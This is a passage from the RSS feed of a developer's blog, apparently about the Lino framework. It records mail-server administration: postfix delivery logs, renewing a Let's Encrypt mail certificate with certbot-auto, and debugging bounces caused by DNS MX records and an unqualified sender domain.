class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;relay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;framework&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;167.114.229.225&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.68&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delays&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.08&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.11&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.34&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.16&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dsn&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;2.0.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;sent&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;250&lt;/span&gt; &lt;span class="mf"&gt;2.0.0&lt;/span&gt; &lt;span class="n"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;queued&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;F50812D0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Jun&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt; &lt;span class="mi"&gt;04&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;41&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;56&lt;/span&gt; &lt;span class="n"&gt;localhost&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;29178&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mf"&gt;6290E4058&lt;/span&gt;&lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="nd"&gt;@gmx&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;relay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;mx00&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;emig&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;gmx&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;212.227.15.9&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.97&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delays&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.08&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.09&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.28&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.52&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dsn&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;2.0.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;sent&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;250&lt;/span&gt; &lt;span class="n"&gt;Requested&lt;/span&gt; &lt;span class="n"&gt;mail&lt;/span&gt; &lt;span class="n"&gt;action&lt;/span&gt; &lt;span class="n"&gt;okay&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;completed&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;Mf1FQ&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;jHNnd3vJq&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="n"&gt;gVUT&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Jun&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt; &lt;span class="mi"&gt;04&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;41&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;56&lt;/span&gt; &lt;span class="n"&gt;localhost&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;29177&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mf"&gt;6290E4058&lt;/span&gt;&lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="nd"&gt;@gmail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;relay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;gmail&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;smtp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;google&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;173.194.76.26&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;1.3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delays&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.08&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.06&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.61&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.53&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dsn&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;2.0.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;sent&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;250&lt;/span&gt; &lt;span class="mf"&gt;2.0.0&lt;/span&gt; &lt;span class="n"&gt;OK&lt;/span&gt;  &lt;span class="mi"&gt;1592196116&lt;/span&gt; &lt;span class="n"&gt;h10si13922398wrs&lt;/span&gt;&lt;span class="mf"&gt;.275&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;gsmtp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Jun&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt; &lt;span class="mi"&gt;04&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;41&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;56&lt;/span&gt; &lt;span class="n"&gt;localhost&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;qmgr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;18118&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mf"&gt;6290E4058&lt;/span&gt;&lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;removed&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;section id="why-does-the-mail-certificate-for-lf-not-renew"&gt;
&lt;h2&gt;Why does the mail certificate for LF not renew?&lt;a class="headerlink" href="#why-does-the-mail-certificate-for-lf-not-renew" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I decided to take back &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3687"&gt;#3687&lt;/a&gt; because I cannot expect the mail server at
LF to work when the certificate is outdated. (I had assigned this ticket to
Hamza in the hope that he would do it, but obviously he had not more time than
I).&lt;/p&gt;
&lt;p&gt;The &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/usr/bin/certbot&lt;/span&gt;&lt;/code&gt; is some very old certbot version 0.31.0, we want to
run the newer &lt;cite&gt;certbot-auto&lt;/cite&gt; command:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ certbot-auto
Requesting to rerun /usr/local/bin/certbot-auto with root privileges...
[sudo] password for luc:
Upgrading certbot-auto 1.3.0 to 1.5.0...
Replacing certbot-auto...
Creating virtual environment...
Installing Python packages...
DEPRECATION: Python 2.7 will reach the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 won&amp;#39;t be maintained after that date. A future version of pip will drop support for Python 2.7. More details about Python 2 support in pip, can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But oops: at this point the process hangs. And an &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;ssh&lt;/span&gt;&lt;/code&gt; in another terminal
fails to connect. After a timeout it says &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;Connection&lt;/span&gt; &lt;span class="pre"&gt;closed&lt;/span&gt; &lt;span class="pre"&gt;by&lt;/span&gt;
&lt;span class="pre"&gt;167.114.229.225&lt;/span&gt; &lt;span class="pre"&gt;port&lt;/span&gt; &lt;span class="pre"&gt;22&lt;/span&gt;&lt;/code&gt;. And Apache doesn’t answer (e.g.
&lt;a class="reference external" href="https://www.lino-framework.org/"&gt;https://www.lino-framework.org/&lt;/a&gt;). What’s going on there? Maybe the server ran
out of disk space?  Nope. Later it turned out that this was obviously an issue
at the data center.&lt;/p&gt;
&lt;p&gt;Continued next day:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ certbot-auto
Requesting to rerun /usr/local/bin/certbot-auto with root privileges...
[sudo] password for luc:
Saving debug log to /var/log/letsencrypt/letsencrypt.log
Plugins selected: Authenticator nginx, Installer nginx

Which names would you like to activate HTTPS for?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
1: lino-framework.org
...
27: mail.lino-framework.org
...
52: www.lino-framework.org
53: xl.lino-framework.org
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Select the appropriate numbers separated by commas and/or spaces, or leave input
blank to select all options shown (Enter &amp;#39;c&amp;#39; to cancel):
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I answer 27:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;Cert not yet due for renewal

You have an existing certificate that has exactly the same domains or certificate name you requested and isn&amp;#39;t close to expiry.
(ref: /etc/letsencrypt/renewal/mail.lino-framework.org.conf)

What would you like to do?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
1: Attempt to reinstall this existing certificate
2: Renew &amp;amp; replace the cert (limit ~5 per 7 days)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Select the appropriate number [1-2] then [enter] (press &amp;#39;c&amp;#39; to cancel):
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I interrupt the script at this point and have a look at that “certificate”:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ cat /etc/letsencrypt/renewal/mail.lino-framework.org.conf
# renew_before_expiry = 30 days
version = 0.31.0
archive_dir = /etc/letsencrypt/archive/mail.lino-framework.org
cert = /etc/letsencrypt/live/mail.lino-framework.org/cert.pem
privkey = /etc/letsencrypt/live/mail.lino-framework.org/privkey.pem
chain = /etc/letsencrypt/live/mail.lino-framework.org/chain.pem
fullchain = /etc/letsencrypt/live/mail.lino-framework.org/fullchain.pem

# Options used in the renewal process
[renewalparams]
account = c8f78de26a6889d32df8d35cf6b9dbcb
authenticator = nginx
installer = nginx
server = https://acme-v02.api.letsencrypt.org/directory
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I restart the script and continue where I interrupted:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;Select the appropriate number [1-2] then [enter] (press &amp;#39;c&amp;#39; to cancel): 1
Keeping the existing certificate
Deploying Certificate to VirtualHost /etc/nginx/sites-enabled/mail-lino-framework-org.conf
nginx: [warn] conflicting server name &amp;quot;timtools.lino-framework.org&amp;quot; on 0.0.0.0:80, ignored
Traffic on port 80 already redirecting to ssl in /etc/nginx/sites-enabled/mail-lino-framework-org.conf
nginx: [warn] conflicting server name &amp;quot;timtools.lino-framework.org&amp;quot; on 0.0.0.0:80, ignored

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Congratulations! You have successfully enabled https://mail.lino-framework.org

You should test your configuration at:
https://www.ssllabs.com/ssltest/analyze.html?d=mail.lino-framework.org
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The only thing changed is that
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/letsencrypt/renewal/mail.lino-framework.org.conf&lt;/span&gt;&lt;/code&gt; now contains:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;version&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;1.5.0&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But TB continues to complain that the information is outdated.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0615.html</guid><pubDate>Mon, 15 Jun 2020 00:00:00 +0000</pubDate></item><item><title>Friday, June 12, 2020</title><link>https://luc.lino-framework.org/blog/2020/0612.html</link><description>&lt;section id="friday-june-12-2020"&gt;
&lt;h1&gt;Friday, June 12, 2020&lt;a class="headerlink" href="#friday-june-12-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I added new sections about &lt;a class="reference external" href="https://hosting.lino-framework.org/mail/basics/#spf" title="(in Lino Hosting Guide)"&gt;&lt;span&gt;More about SPF&lt;/span&gt;&lt;/a&gt;, &lt;a class="reference external" href="https://hosting.lino-framework.org/mail/basics/#dmarc" title="(in Lino Hosting Guide)"&gt;&lt;span&gt;DMARC&lt;/span&gt;&lt;/a&gt; and &lt;a class="reference external" href="https://hosting.lino-framework.org/mail/basics/#dkim" title="(in Lino Hosting Guide)"&gt;&lt;span&gt;DKIM (DomainKeys Identified Mail)&lt;/span&gt;&lt;/a&gt; in
&lt;a class="reference external" href="https://hosting.lino-framework.org/mail/#admin-mail" title="(in Lino Hosting Guide)"&gt;&lt;span&gt;Running your own mail server&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0612.html</guid><pubDate>Fri, 12 Jun 2020 00:00:00 +0000</pubDate></item><item><title>Thursday, June 11, 2020</title><link>https://luc.lino-framework.org/blog/2020/0611.html</link><description>&lt;section id="thursday-june-11-2020"&gt;
&lt;h1&gt;Thursday, June 11, 2020&lt;a class="headerlink" href="#thursday-june-11-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;On &lt;a class="reference external" href="mailto:luc&amp;#37;&amp;#52;&amp;#48;laudate"&gt;luc&lt;span&gt;&amp;#64;&lt;/span&gt;laudate&lt;/a&gt; I said:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ echo &amp;quot;body&amp;quot; | mail -s &amp;quot;test 20200611&amp;quot; luc.saffre@gmx.net tonis.piip@gmail.com luc@saffre-rumma.net
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;and here are the responses from three different providers:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;to=&amp;lt;luc.saffre@gmx.net&amp;gt;, relay=mx01.emig.gmx.net[212.227.17.5]:25,
status=bounced (host mx01.emig.gmx.net[212.227.17.5] said: 550-Requested action
not taken: mailbox unavailable 550 invalid DNS MX or A/AAAA resource record (in
reply to MAIL FROM command))

to=&amp;lt;tonis.piip@gmail.com&amp;gt;,
relay=gmail-smtp-in.l.google.com[2a00:1450:4010:c06::1a]:25,
status=bounced (host
gmail-smtp-in.l.google.com[2a00:1450:4010:c06::1a] said: 550-5.7.1
[2a01:4f9:c010:9a4f::1] Our system has detected that this message does 550-5.7.1
not meet IPv6 sending guidelines regarding PTR records and 550-5.7.1
authentication. Please review 550-5.7.1
https://support.google.com/mail/?p=IPv6AuthError for more information 550 5.7.1
. s9si1542418ljg.411 - gsmtp (in reply to end of DATA command))

to=&amp;lt;luc@saffre-rumma.net&amp;gt;, relay=mail.saffre-rumma.net[167.114.252.122]:25,
status=bounced (host mail.saffre-rumma.net[167.114.252.122] said: 504 5.5.2
&amp;lt;luc@laudate&amp;gt;: Sender address rejected: need fully-qualified address (in reply
to RCPT TO command))
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Three different messages to the same mail. The third error is the most helpful
here because it says &amp;lt;&lt;a class="reference external" href="mailto:luc&amp;#37;&amp;#52;&amp;#48;laudate"&gt;luc&lt;span&gt;&amp;#64;&lt;/span&gt;laudate&lt;/a&gt;&amp;gt;: Sender address rejected. IOW our postfix did
not convert the local domain “laudate” into the fqdn “laudate.ee”. I guess that
this is the main problem.&lt;/p&gt;
&lt;p&gt;Furthermore, when I specify the from: header myself, it works:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ echo &amp;quot;body&amp;quot; | mail -s &amp;quot;some test&amp;quot; -a From:luc@laudate.ee luc.saffre@gmx.net tonis.piip@gmail.com hamza@saffre-rumma.net
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Except that it doesn’t because it hits a next problem:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Jun&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt; &lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;38&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;08&lt;/span&gt; &lt;span class="n"&gt;laudate&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;10449&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;D18143FFEE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="nd"&gt;@gmx&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;relay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;mx01&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;emig&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;gmx&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;212.227.17.5&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.52&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delays&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.02&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.24&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dsn&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;5.0.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;bounced&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt; &lt;span class="n"&gt;mx01&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;emig&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;gmx&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;212.227.17.5&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;said&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;550&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Requested&lt;/span&gt; &lt;span class="n"&gt;action&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;taken&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;mailbox&lt;/span&gt; &lt;span class="n"&gt;unavailable&lt;/span&gt; &lt;span class="mi"&gt;550&lt;/span&gt; &lt;span class="n"&gt;invalid&lt;/span&gt; &lt;span class="n"&gt;DNS&lt;/span&gt; &lt;span class="n"&gt;MX&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;AAAA&lt;/span&gt; &lt;span class="n"&gt;resource&lt;/span&gt; &lt;span class="n"&gt;record&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;reply&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;MAIL&lt;/span&gt; &lt;span class="n"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;section id="invalid-dns-mx-or-a-aaaa-resource-record"&gt;
&lt;h2&gt;550 invalid DNS MX or A/AAAA resource record&lt;a class="headerlink" href="#invalid-dns-mx-or-a-aaaa-resource-record" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Another problem was that Thunderbird now gave me this error message when sending
to &lt;a class="reference external" href="mailto:tonis&amp;#37;&amp;#52;&amp;#48;laudate&amp;#46;ee"&gt;tonis&lt;span&gt;&amp;#64;&lt;/span&gt;laudate&lt;span&gt;&amp;#46;&lt;/span&gt;ee&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;An error occurred while sending mail. The mail server responded:
Requested action not taken: mailbox unavailable
invalid DNS MX or A/AAAA resource record.
Please check the message recipient “&lt;a class="reference external" href="mailto:tonis&amp;#37;&amp;#52;&amp;#48;laudate&amp;#46;ee"&gt;tonis&lt;span&gt;&amp;#64;&lt;/span&gt;laudate&lt;span&gt;&amp;#46;&lt;/span&gt;ee&lt;/a&gt;” and try again&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;Same when sending to &lt;a class="reference external" href="mailto:luc&amp;#37;&amp;#52;&amp;#48;saffre-rumma&amp;#46;net"&gt;luc&lt;span&gt;&amp;#64;&lt;/span&gt;saffre-rumma&lt;span&gt;&amp;#46;&lt;/span&gt;net&lt;/a&gt; or to &lt;a class="reference external" href="mailto:luc&amp;#37;&amp;#52;&amp;#48;lino-framework&amp;#46;org"&gt;luc&lt;span&gt;&amp;#64;&lt;/span&gt;lino-framework&lt;span&gt;&amp;#46;&lt;/span&gt;org&lt;/a&gt;. These
seem to be caused by the fact that we changed th MX records of our servers from
